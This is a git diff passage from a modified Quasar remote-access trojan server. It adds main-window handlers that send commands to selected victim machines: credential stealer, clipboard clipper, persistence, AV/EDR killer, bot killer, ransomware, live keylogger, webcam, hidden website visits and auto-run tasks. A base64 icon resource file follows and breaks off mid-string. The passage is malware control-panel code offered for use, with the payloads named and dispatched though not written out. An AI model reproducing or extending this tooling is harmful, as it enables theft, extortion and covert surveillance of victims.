webcamToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + var frmWebcam = FrmRemoteWebcam.CreateNewOrGetExisting(c); + frmWebcam.Show(); + frmWebcam.Focus(); + } + } + + private void intelixStealerToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + foreach (Client client in clients) + { + client.Send(new GetIntelixStealerLogs()); + } + MessageBox.Show($"Intelix Stealer command sent to {clients.Length} client(s).\nResults will be saved when received.", + "Intelix Stealer", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void clipperToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + using (var frm = new FrmClipper(clients)) + { + frm.ShowDialog(); + } + } + } + + private void survivalToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + using (var frm = new FrmSurvival(clients)) + { + frm.ShowDialog(); + } + } + } + + private void avKillerToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmAVKiller(clients[0]); + frm.Show(); + } + else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for AV/EDR Killer.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void botKillerToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmBotKiller(clients[0]); + frm.Show(); + } + else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for BotKiller.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + + + private void ransomwareToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmRansomware(clients[0]); + frm.Show(); + } + else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for Ransomware.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void keyloggerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmLiveKeylogger frmKl = Messages.LiveKeyloggerHandler.CreateOrGetForm(c); + frmKl.Show(); + frmKl.Focus(); + } + } + + #endregion + + #region "User Support" + + private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoVisitWebsite + { + Url = frm.Url, + Hidden = frm.Hidden + }); + } + } + } + } + } + + private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShowMessageBox + { + Caption = frm.MsgBoxCaption, + Text = frm.MsgBoxText, + Button = frm.MsgBoxButton, + Icon = frm.MsgBoxIcon + }); + } + } + } + } + } + + #endregion + + private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) + { + lstClients.SelectAllItems(); + } + + #endregion + + #region "MenuStrip" + + private void closeToolStripMenuItem_Click(object sender, EventArgs e) + { + Application.Exit(); + } + + private void settingsToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmSettings(ListenServer)) + { + frm.ShowDialog(); + } + } + + private void builderToolStripMenuItem_Click(object sender, EventArgs e) + { +#if DEBUG + MessageBox.Show("Client Builder is not available in DEBUG configuration.\nPlease build the project using RELEASE configuration.", "Not available", MessageBoxButtons.OK, MessageBoxIcon.Information); +#else + using (var frm = new FrmBuilder()) + { + frm.ShowDialog(); + } +#endif + } + + private void autoTasksMenuToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmAutoTasks()) + { + frm.ShowDialog(); + } + } + + private void statisticsToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.Visible) + { + if (statisticsPanel == null) + { + statisticsPanel = new Controls.StatisticsPanel(ListenServer); + statisticsPanel.Dock = DockStyle.Fill; + statisticsPanel.Visible = false; + int row = tableLayoutPanel.GetRow(lstClients); + int col = tableLayoutPanel.GetColumn(lstClients); + tableLayoutPanel.Controls.Add(statisticsPanel); + tableLayoutPanel.SetRow(statisticsPanel, row); + tableLayoutPanel.SetColumn(statisticsPanel, col); + } + tableLayoutPanel.SuspendLayout(); + lstClients.Visible = false; + statisticsPanel.Visible = true; + tableLayoutPanel.ResumeLayout(false); + } + else + { + tableLayoutPanel.SuspendLayout(); + if (statisticsPanel != null) + statisticsPanel.Visible = false; + lstClients.Visible = true; + tableLayoutPanel.ResumeLayout(false); + } + } + + private void aboutToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmAbout()) + { + frm.ShowDialog(); + } + } + + #endregion + + #region "NotifyIcon" + + private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) + { + this.WindowState = (this.WindowState == FormWindowState.Normal) + ? FormWindowState.Minimized + : FormWindowState.Normal; + this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal); + } + + private void ExecuteAutoTasks(Client client, string trigger) + { + foreach (var task in FrmAutoTasks.ConfiguredTasks) + { + if (task.Trigger != trigger && task.Trigger != "All") continue; + + try + { + client.Send(new DoAutoTask + { + TaskType = task.TaskType, + Param1 = task.Param1, + Param2 = task.Param2, + Param3 = task.Param3 + }); + } + catch { } + } + } + + private void systemOptionsToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmSystemOptions(clients[0]); + frm.Show(); + } + else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for System Options.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void txtSearch_TextChanged(object sender, EventArgs e) + { + string searchText = txtSearch.Text.Trim().ToLower(); + + if (string.IsNullOrEmpty(searchText)) + { + // Show all items and remove highlighting + lstClients.BeginUpdate(); + foreach (ListViewItem item in lstClients.Items) + { + item.BackColor = System.Drawing.Color.Empty; + item.ForeColor = System.Drawing.Color.White; + } + lstClients.EndUpdate(); + return; + } + + lstClients.BeginUpdate(); + List matchedItems = new List(); + + // Get Windows accent color for highlighting + System.Drawing.Color accentColor = System.Drawing.SystemColors.Highlight; + + foreach (ListViewItem item in lstClients.Items) + { + bool matches = false; + + // Search through all subitems (IP, Tag, User@PC, Version, Country, OS, etc.) + foreach (ListViewItem.ListViewSubItem subItem in item.SubItems) + { + if (subItem.Text.ToLower().Contains(searchText)) + { + matches = true; + break; + } + } + + if (matches) + { + // Highlight matched items with Windows accent color + item.BackColor = accentColor; + item.ForeColor = System.Drawing.SystemColors.HighlightText; + matchedItems.Add(item); + } + else + { + // Dim non-matched items + item.BackColor = System.Drawing.Color.Empty; + item.ForeColor = System.Drawing.Color.Gray; + } + } + + // Bring first matched item to top (scroll to it) + if (matchedItems.Count > 0) + { + matchedItems[0].EnsureVisible(); + } + + lstClients.EndUpdate(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx new file mode 100755 index 0000000..afdf789 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx @@ -0,0 +1,2176 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 223, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKvSURBVDhPpZPdT5JRHMf9W/RP6DndtDa9aK5N56Ok + XWTUME3UVrgKtcEqxQRfAQVsKITiG+UblKgICT6aPaFgaOqTAzNoa6sbSFuW3yYtzHJd1Nk+Zztn53zO + vuf8ThKApP/hj4kc3WpKpiYgyVAtcacavNG0ejaaWj/PpdbPSU7eY1J+X39okKVd4Z1W+iMlRh+MrhAG + ma04BkcQAu0zEMlUhEgdvCMFmZoAL71xMdYwuga7N4KOiRBklle4278CpXUNFvcmagcDIKUjMXJ1JCGJ + dxnqpeT0poXw/mbr8wgk/SuoNPvRN/MGfZ5N3DT5IO72wzS1AdlDH0iRJUwK+5MTgnTlgrRY74WNfYcq + cwBiow/XOxfx6fNuHFEnC1EHC/EDL8xPgzinGAeV3y1NCNKaWM7gCEFt5XDDuIjyTi9EehZdrg2YXBso + bWd+oJuBzOKHdmIVJK+TSwhOyJjt4fm3qOryQdTxAmX351CqY7Df9gAINR4Ut06juNWNKzoPLEwQFK9t + OyEgUtf20NxWPOv+SSXaGQg1MwiEPiK2s4uiFhcKm5241OyEUOXEwGwQFK36VeDg9A4O8kfLKNPNQdjm + wWX1NF4GPyC28wUF9ZMoUIxDoLCjooOB2r4Ekt1yEIFU2KV8pQt97hDKNAyESjfs7Ca+ftuLR/C9fg++ + zAa+zIr2xwHk3RoEyW4+uERybSiZCC3hOwOLMDnWUaR0QtAwgQvyMfBrrDhfPYL86mE0DnhRaZ4FRcvD + hJYfPOM+lKCXdyzXEJP0sjBMrkKs90CgeIKLtTaUa5zQWv0QdzEgWTUxQssPF1JCkmfgUbntkbO3R6Ee + W0aPh0OPZx0ttiXkVFlAZdVGCF13dCn/hJzRplC8VgmVo+IoWhGlsuqihJZzhJZLjtM1f/9M/8J3OIbL + 7IJCv8kAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIWSURBVDhPpY/PaxNBGIZ78O7NP8FTKmKbFdGjIJ68 + iF78BSKozUGiFCqC9pA0IARKo4iIpVAq2GKxEcGj9VBNbRObaDabNDZNG5pgs7uzu7O7s7vzSlJNIgEh + 9PDM980L3/PN9AHo2w9dQa90Bb3SPHLvBlOlxSts89O1Dq6y/PtT6+KC75C44Dv4D/EmB1oCKS5YnHsA + OMAb7PWOWcPW0pBdXhqy/lJZGTG3E/dKubfHLrQF836FuyasrSiM4jiMjUnQ0hy4I4N7Orirgbvq3t2p + Ax6zpXkh0xa8FojHVBjFGPTCBMj3UewmbqO2HICcDkFeewQ5dR/15DDqySAcswrpzaDWFsz6mUN3IGdi + qK9GUP14F7T6Bdwlf7Y3qtJ+ATikWcFsC2aOs+b/PQvwKOAazUGXirAqMZjlEOjPYRj5m9DFS3D1LKRp + f4dgSrC5S+GSz3DkD2C/5mDvvIBZfgy68QC0EICRuwz9xzlo6dNwtRSkyU7Bc8HyGAHbjcOuTsOqPIG5 + GQItNrbegJ69CC1zFuTbSairR+GQr5CedQpifpMzGXZ1Ctb2OMzSKGgxCEO6Dj17Hlr6DEjqBNSVI1CW + D8MhCTRmWoJcdKDClIKir7/y9PxLaNJTaGIUWjYMknkIkh6BuhaEmgpATd6CVVvkueiA0hKIYd8dMdI/ + I47118RIv/lfxppVFcO+iZZgP3QFvfIbjdEbMqg0Vh4AAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAEJSURBVDhPpdPPaoMwHAdwn0NREEEQQRAEl81mWeLu + LRTfYU/QFQq+QWn7ILtuTig+wU477r5dd+pBxnckRbcc9idb4Ev8BfLhZ0gsANZ/YlV1t67q7lDVXW+Y + nQLmq/1hc/uM7d33eXh61eb5at8rYLZse7mwa16MMlu2UMB00bzJwjTTRXMEZJFlGdI0RZIkiOMYURQh + DEMEQQDf9+F5HlzXheM4sG1bZexAfuQnRBZGiAaQ0zPkeW6EaEAxoWqzRH77Ox/AdQt6zlAUBQghYyfD + +ArRAHbBQSnVkJ86+QTcg4sSjDEjROtAlCU450aIdohCCBUTZAQur24eh9tlErlPAcOz/GveAX11R2h2 + a0LRAAAAAElFTkSuQmCC + + + + + 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 + 7IJCv8kAAAAASUVORK5CYII= + + + + + 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 + SCRK8/n8s/8CwNyzn/m7geEAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ1SURBVDhPpZHLaxNRFMb7H7ju0p0bBVdZCCoupKKo + ICi6qmIVzaJZdGFQAkKwJQ/HtI2NVKpNLFYCNs9pM5PXNJNp00mamJk0TTt5jJVC22BKNy5cfHIHja9Z + CF74OPce7vmdc7/bA6Dnf/RXolAovMrlcl95nkc6nQbLsqBpGoFAAH6//+2f97ubUql0KJ/P+xVFwdbW + NpSGCkVpYpNos4F2+zNmZmagCygWi32iKH5qNpvY3d1FbqWIrCAiw6+AyyyD45awXlMwNTWlDxBFETs7 + O5pU9SN4QcTEhAdu93OMjY3D5RrFWnUTHo9HHyAIAjqdDlRVRb1exyLpuriMFCcgmcqCTWRQWduAy+XS + BxCz2u02Wq0WFKWONLekdaUoCk6nEzabDXKlBrvdrg8gThMA8aBW20AyJSCe5MHGM4ixHBZiaUhSFVar + VR8QjUY1QKPRwPp6TRuZYRcRYzi8WX6Nq+8u44NUhcVi0QfMzc1hb29Pe3+lUu12pReSODN9AoZxA6bD + LzA4dgN3nl7Cdevpg3MPjj3qAmZnZ7XvIwBJrmCeFM8nEaETCEdYOKaf4LH/JiKyG6VtBhR7H9eoozAY + ex0awOv1Yn9/XzOxXJYRpZOIROMIRVgEQwz6R/oQlJ4huDZKngBHfABU/C4BfNEAk5OTuXA4DFmW0Wyq + SKSyCEcTCARjeB+M4cLD46Dll1rxjxUquwngpxkURZ232Wx5n88HPitAkmtYLcoorEo4OXgYduYWhpl+ + rXg41v/7BL/KYrGcNZvN5aGhIZhMJhiNRly8dwpXHEfgZG5rnUkk564H/yKDsXfEYOw9IGN/jyMk/w01 + hv6Uwh3lxAAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKlSURBVDhPpZFfSFNhGMZPREQQWBcVUiQG0R+Qkogk + 9KoSqQsjqKAischFg/RiNwfTTJHqjHVc/tlguDnXaDZig7HlnG07+3PcPFsT29Tp2eZSCudIb7oqeeKc + i2G5i6CL5+Pj5Xt/z/s9LwGA+B9tKUSjUV04HP4ZCATg9XrhcrngcDhgtVphNpvf/v2+cJmamiqJRCJm + nuextPQVfDoLns9gQdBCGvn8dxiNRhQFxGKxOo7jljOZDHK5HMKTMQRZDv7AJBh/CAwzgbkkD61WWxzA + cRxWVlZEZbNfEGA5qFRq9PcPoLe3D0rla8zMLkCtVhcHsCyLtbU1ZLNZpFIp+ARXXwgehoXbE4Trox+J + mXkolcriACGsfD6PxcVF8HwKXmZCdKVpGgqFAhRFIZ5IQi6XFwcISQsAIYNkch5uD4txdwCucT+cLgaj + Ti+ajTV4oKtEw2DFri0Au90uAtLpNObmkuLIYy4fnGMM3oSGcGPkKiT6Kjyz3cJN9XHU95cVIOJhsViw + uroq/j+RmBVdBcfHhipI9GfQOHgKTyzX8Y5TQmauxyX6wEaNfO/uAsBkMonrEwCf4wl8cHohNZyD9dMA + 3kf7xEYT14OecRn0ExQeGmtx9vnOjYqubSUiYHh4GOvr62KI09Nx2B1u3NdVis2vxprxclSKbkcTOmyN + 6LRLoPZ14c5QNY4+JX6JAI1GE7bZbIjH48hksvjoCeK25gRGJntgDCmgZylogy/Q7XgEla8TTcY6lLcR + uYMkcbqQJk3TVyiKihgMBgSCLK6pjuCy8hAu0vtRLd+Du7rzGGA6cM9Qi7I24lspSZwsZLBZ7e3ttSRJ + TstkMrS0tEAqlUIikaCicwca9BdQ1kosl5LEsT+28C8qbyN+HG7djn0kUb65/hu4oOErFYp5IgAAAABJ + RU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALtSURBVDhPpZLdT1NnAId7sZh4tf+Af8ALk2XGj7ll + cZmbXhg3F92HM2xUYSKxCccFrEOjJCAfaUqpVOdaGW0dKZYi0Hp6+nFqS6EeSotFSuVUVhkOCNv1gheP + OSXbEnuxi108N2/y/J73TV4doPs/VBy8TjqddqRSqZeJRAJZlpEkCb/fj8/nw+Px3K0Q/iabzb45PT3t + UVWV5eUXqM9KqOoSixqLz9jY+BOXy1UpamQymY8VRfltaWmJ9fV1Uo8yTCQV4olHxOJTxGKTLBRU7HZ7 + payhKApra2tlSqXnJJIKfX02rNYbWCy9mM09zOcXsdlslXK/vFHl9XoRRZFSqUSxWOShVn04RTSWJBKd + QArHeTL/FLPZ/K/oiv+x3RFZH741PPNXIBAgFAoxNDSEqhaRY5Plqslkoru7m46ODuaeFOjs7Pyn+sZt + 6fenA/IqA9EVOn8aR7uF2+1mYaFAODJBKJJACsURpRgPRJlcLk9ra+vWgO3BiyrL2DL3kqu45WVMvkUE + 0zjRVL78TkG4gBiUEYMxnFN3OD54lNlcnpaWlq2BLu+ve7u8RZyR51z3LNA7WuCiI8NXF51YLBYGBwfR + 608zHghzoP8ddvfuJjs7T1NT09bAZVf+yFV3npt+lR/6szTeUrjqzCDcnOTzc9dpa2vjwvdNjPnDjI5J + jIxKZLJzNDY2bg0YbDPCpf4sJm+e830pzpjinGwPo++S+aY9xHvHWvGNBLmvyfeDDI+IzGTmaGhoQHfW + mt5W3ZXcvOaexeiYxmhXyuVzPXFOd0f48LtfMLZ7GR0P4xsR8WoMB0jP5Kirq0P3ZXtis64nyZWf0xhu + THDM6OfgWQ/vnhpg16e3+egLK1E5QW6uUK5qosbKyip6vR7d4UvBwMm2KMdbRPZ9e3dz1wmH8NYnPx7Z + eci6d8cHpqpm4+VDzc3NjwVBwGAwUF9fT21tLTU1NVRXV+d175/3bd9/xhPY87Vz8+3P7Nte/5n/xSvE + NOd/o4qzUgAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKLSURBVDhPpZFNSBtRFIVTRtelO7F04aa7rl20C7FN + KRShtKVddlEXhVAQsWq6iBspZSSE+FMDUttqpSkBjSYTM5n8jZmMxkmMmokxOslkVASTYFz0DyqeMkMJ + tE5XfXDgcXn3O++eawBg+B+dK6RSqXeJROInx3GIRqNgGAY+nw9utxsul+vT3+/rl/X19YvJZNIlSRL2 + 9w8hFRVIkoxdVbtFVKvHmJmZgS4gnU7fEQThQJZllMtlJFbTiPMCYtwq2NgKWHYZ23kJk5OT+gBBEHB0 + dKRJUfbA8QLGxx0YG3uDkZFR2O3D2MrtwuFw6AN4nketVoOiKCgUClhSXZdWEGF5hCNxMKEYsls7sNvt + +gA1rGq1ilKpBEkqIMoua642mw1WqxUkSULM5jE0NKQPUJNWAWoG+fwOwhEewTAHJhgDzbDw01FkMjkM + Dg7qAyiK0gDFYhHb23ntywFmCXSAxceV93j0+R42MjlYLBZ9wNzcHCqVijZ/Npuru/r8YbR/uI7W0Vas + Ogbgv9+MYHvDGW0k9mgj0V8HOJ1ObX0qICNmsag2L4bh9YXg8TIIvO7Gxosb+E5Zcbblx1dnNwTTtdPA + zYbnGmBqagonJydaiJubIihfGF4qiAUvg/mFAPwPLuMbZQWGO4C+S8CrFlTINtC3iKIGmJiYSHg8Hoii + CFlWEIrE4aFCcM/TmJ2nEWxvxFlqVp2/fmoDTdo49TBsNttdkiST09PT4OI8MmIea2kRqbUMmIfN+PL2 + KTDQhB+9Bhz3GqA8I0AbiYM/ElVlsVhum83mzZ6eHnR1dcFkMmHsSRuWO6/isK8FZXMjCp0XEOpoOPUb + iZfnAP8S9/hKP20k5N9b2Feb1fovSNb8+nWLDaoAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAITSURBVDhPpdHPa9pwGMfx/gf7c3rYbYcx2GWnnQUF + 